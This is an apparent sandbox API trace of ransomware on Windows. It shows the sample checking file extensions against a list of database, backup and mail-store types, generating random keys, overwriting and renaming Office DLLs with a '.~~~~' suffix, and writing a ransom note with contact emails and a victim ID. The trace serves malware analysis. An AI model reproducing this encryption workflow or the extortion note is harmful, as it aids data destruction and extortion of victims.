	[0081.628] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.630] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.630] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.630] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.630] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.630] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.630] CloseHandle (hObject=0x134) returned 1
	[0081.630] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398d38
	[0081.630] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PJRESC.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\pjresc.dll.~~~~")) returned 1
	[0081.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.631] GetLastError () returned 0x0
	[0081.631] RtlWakeConditionVariable () returned 0x365f70
	[0081.631] GetCurrentThreadId () returned 0x9cc
	[0081.631] GetCurrentThreadId () returned 0x9cc
	[0081.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0081.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fbfe8 | out: hHeap=0x300000) returned 1
	[0081.631] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4b0 | out: hHeap=0x300000) returned 1
	[0081.631] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbfe8
	[0081.631] lstrlenW (lpString=".scr") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".scr") returned 0x0
	[0081.631] lstrlenW (lpString=".cmd") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".cmd") returned 0x0
	[0081.631] lstrlenW (lpString=".dll") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dll") returned 0x0
	[0081.631] lstrlenW (lpString=".bat") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".bat") returned 0x0
	[0081.631] lstrlenW (lpString=".cpl") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".cpl") returned 0x0
	[0081.631] lstrlenW (lpString=".sys") returned 4
	[0081.631] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".sys") returned 0x0
	[0081.632] lstrlenW (lpString=".msc") returned 4
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".msc") returned 0x0
	[0081.632] lstrlenW (lpString=".com") returned 4
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".com") returned 0x0
	[0081.632] lstrlenW (lpString=".lnk") returned 4
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".lnk") returned 0x0
	[0081.632] lstrlenW (lpString=".msp") returned 4
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".msp") returned 0x0
	[0081.632] lstrlenW (lpString=".pif") returned 4
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".pif") returned 0x0
	[0081.632] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0081.632] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0081.632] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
	[0081.633] lstrlenW (lpString=".sqb") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".sqb") returned 0x0
	[0081.633] lstrlenW (lpString=".ost") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".ost") returned 0x0
	[0081.633] lstrlenW (lpString=".txt") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".txt") returned 0x0
	[0081.633] lstrlenW (lpString=".mdt") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".mdt") returned 0x0
	[0081.633] lstrlenW (lpString=".BDB") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".BDB") returned 0x0
	[0081.633] lstrlenW (lpString=".eql") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".eql") returned 0x0
	[0081.633] lstrlenW (lpString=".DBF") returned 4
	[0081.633] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DBF") returned 0x0
	[0081.634] lstrlenW (lpString=".EQL") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".EQL") returned 0x0
	[0081.634] lstrlenW (lpString=".FDB") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".FDB") returned 0x0
	[0081.634] lstrlenW (lpString=".EDB") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".EDB") returned 0x0
	[0081.634] lstrlenW (lpString=".DACPAC") returned 7
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DACPAC") returned 0x0
	[0081.634] lstrlenW (lpString=".VHD") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".VHD") returned 0x0
	[0081.634] lstrlenW (lpString=".DBV") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DBV") returned 0x0
	[0081.634] lstrlenW (lpString=".dacpac") returned 7
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dacpac") returned 0x0
	[0081.634] lstrlenW (lpString=".sdf") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".sdf") returned 0x0
	[0081.634] lstrlenW (lpString=".accdb") returned 6
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".accdb") returned 0x0
	[0081.634] lstrlenW (lpString=".DBX") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DBX") returned 0x0
	[0081.634] lstrlenW (lpString=".MDT") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".MDT") returned 0x0
	[0081.634] lstrlenW (lpString=".SQB") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".SQB") returned 0x0
	[0081.634] lstrlenW (lpString=".vhd") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".vhd") returned 0x0
	[0081.634] lstrlenW (lpString=".bac") returned 4
	[0081.634] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".bac") returned 0x0
	[0081.635] lstrlenW (lpString=".mdf") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".mdf") returned 0x0
	[0081.635] lstrlenW (lpString=".BAK") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".BAK") returned 0x0
	[0081.635] lstrlenW (lpString=".BAC") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".BAC") returned 0x0
	[0081.635] lstrlenW (lpString=".dbs") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dbs") returned 0x0
	[0081.635] lstrlenW (lpString=".vhdx") returned 5
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".vhdx") returned 0x0
	[0081.635] lstrlenW (lpString=".NDF") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".NDF") returned 0x0
	[0081.635] lstrlenW (lpString=".dat") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dat") returned 0x0
	[0081.635] lstrlenW (lpString=".DBS") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DBS") returned 0x0
	[0081.635] lstrlenW (lpString=".CKP") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".CKP") returned 0x0
	[0081.635] lstrlenW (lpString=".edb") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".edb") returned 0x0
	[0081.635] lstrlenW (lpString=".PST") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".PST") returned 0x0
	[0081.635] lstrlenW (lpString=".dbf") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dbf") returned 0x0
	[0081.635] lstrlenW (lpString=".SQL") returned 4
	[0081.635] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".SQL") returned 0x0
	[0081.635] lstrlenW (lpString=".pst") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".pst") returned 0x0
	[0081.636] lstrlenW (lpString=".dbv") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dbv") returned 0x0
	[0081.636] lstrlenW (lpString=".SDF") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".SDF") returned 0x0
	[0081.636] lstrlenW (lpString=".dtxs") returned 5
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dtxs") returned 0x0
	[0081.636] lstrlenW (lpString=".db3") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".db3") returned 0x0
	[0081.636] lstrlenW (lpString=".OST") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".OST") returned 0x0
	[0081.636] lstrlenW (lpString=".dbx") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dbx") returned 0x0
	[0081.636] lstrlenW (lpString=".DB3") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DB3") returned 0x0
	[0081.636] lstrlenW (lpString=".DAT") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DAT") returned 0x0
	[0081.636] lstrlenW (lpString=".VHDX") returned 5
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".VHDX") returned 0x0
	[0081.636] lstrlenW (lpString=".ndf") returned 4
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".ndf") returned 0x0
	[0081.636] lstrlenW (lpString=".DB") returned 3
	[0081.636] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DB") returned 0x0
	[0081.637] lstrlenW (lpString=".sql") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".sql") returned 0x0
	[0081.637] lstrlenW (lpString=".MYD") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".MYD") returned 0x0
	[0081.637] lstrlenW (lpString=".DBT") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DBT") returned 0x0
	[0081.637] lstrlenW (lpString=".ACCDB") returned 6
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".ACCDB") returned 0x0
	[0081.637] lstrlenW (lpString=".fdb") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".fdb") returned 0x0
	[0081.637] lstrlenW (lpString=".bak") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".bak") returned 0x0
	[0081.637] lstrlenW (lpString=".myd") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".myd") returned 0x0
	[0081.637] lstrlenW (lpString=".DTXS") returned 5
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".DTXS") returned 0x0
	[0081.637] lstrlenW (lpString=".ckp") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".ckp") returned 0x0
	[0081.637] lstrlenW (lpString=".dbt") returned 4
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".dbt") returned 0x0
	[0081.637] lstrlenW (lpString=".db") returned 3
	[0081.637] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".db") returned 0x0
	[0081.637] lstrlenW (lpString=".TXT") returned 4
	[0081.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".TXT") returned 0x0
	[0081.638] lstrlenW (lpString=".MDF") returned 4
	[0081.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".MDF") returned 0x0
	[0081.638] lstrlenW (lpString=".bdb") returned 4
	[0081.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".bdb") returned 0x0
	[0081.638] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0081.638] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0081.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2804338
	[0081.638] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f90
	[0081.638] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x39fe28) returned 1
	[0081.639] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0081.639] CryptReleaseContext (hProv=0x39fe28, dwFlags=0x0) returned 1
	[0081.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2802fd0
	[0081.639] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=20162913777) returned 1
	[0081.639] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0x9a829850, dwHighDateTime=0x1d60e1e)) 
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x27fe4b0
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0081.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe4b0 | out: hHeap=0x300000) returned 1
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fcfe0
	[0081.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0081.639] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398d38
	[0081.639] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fcfe0 | out: hHeap=0x300000) returned 1
	[0081.640] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fbf50
	[0081.640] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398d38 | out: hHeap=0x300000) returned 1
	[0081.640] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0081.640] GetLastError () returned 0x0
	[0081.640] GetLastError () returned 0x0
	[0081.640] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0081.640] GetLastError () returned 0x0
	[0081.640] GetLastError () returned 0x0
	[0081.640] ReadFile (in: hFile=0x134, lpBuffer=0x280bfd0, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesRead=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.753] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0081.753] WriteFile (in: hFile=0x134, lpBuffer=0x280bfd0*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x280bfd0*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0081.753] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x280bfd0 | out: hHeap=0x300000) returned 1
	[0081.755] SetFilePointerEx (in: hFile=0x134, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0081.755] WriteFile (in: hFile=0x134, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0081.788] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0081.788] WriteFile (in: hFile=0x134, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0081.788] CloseHandle (hObject=0x134) returned 1
	[0081.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3b56f8
	[0081.788] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\PRJRES.DLL.~~~~" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\prjres.dll.~~~~")) returned 1
	[0081.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b56f8 | out: hHeap=0x300000) returned 1
	[0081.789] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0081.789] GetLastError () returned 0x0
	[0081.790] RtlWakeConditionVariable () returned 0x365f70
	[0081.790] GetCurrentThreadId () returned 0x9cc
	[0081.790] GetCurrentThreadId () returned 0x9cc
	[0081.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8ee0
	[0081.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc248 | out: hHeap=0x300000) returned 1
	[0081.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fe600 | out: hHeap=0x300000) returned 1
	[0081.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fc248
	[0081.790] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Read~ME.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\read~me.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0081.821] lstrlenW (lpString="Dear user! Your data is encrypted!\r\n\r\nAny attempts to decrypt your data yourself will lead to loss of information !! Be careful!\r\n\r\nOur mail:\r\n1. cryptofiles20202020@protonmail.com\r\n2. cryptofiles20202020@cock.li\r\n\r\nAttention!\r\n\r\nDecryption of your files is a paid service.\r\nIf you do not have money, then you can not apply. All is serious.\r\nContact us at the address and indicate your id in the subject line.\r\nYour ID: ff9adce5d1") returned 430
	[0081.821] WriteFile (in: hFile=0x120, lpBuffer=0x368100*, nNumberOfBytesToWrite=0x35c, lpNumberOfBytesWritten=0x26dfed8, lpOverlapped=0x0 | out: lpBuffer=0x368100*, lpNumberOfBytesWritten=0x26dfed8*=0x35c, lpOverlapped=0x0) returned 1
	[0081.822] CloseHandle (hObject=0x120) returned 1
	[0081.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fc248 | out: hHeap=0x300000) returned 1
	[0081.822] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8ee0 | out: hHeap=0x300000) returned 1
	[0081.822] RtlWakeConditionVariable () returned 0x365f70
	[0081.822] GetCurrentThreadId () returned 0x9cc
	[0081.822] GetCurrentThreadId () returned 0x9cc
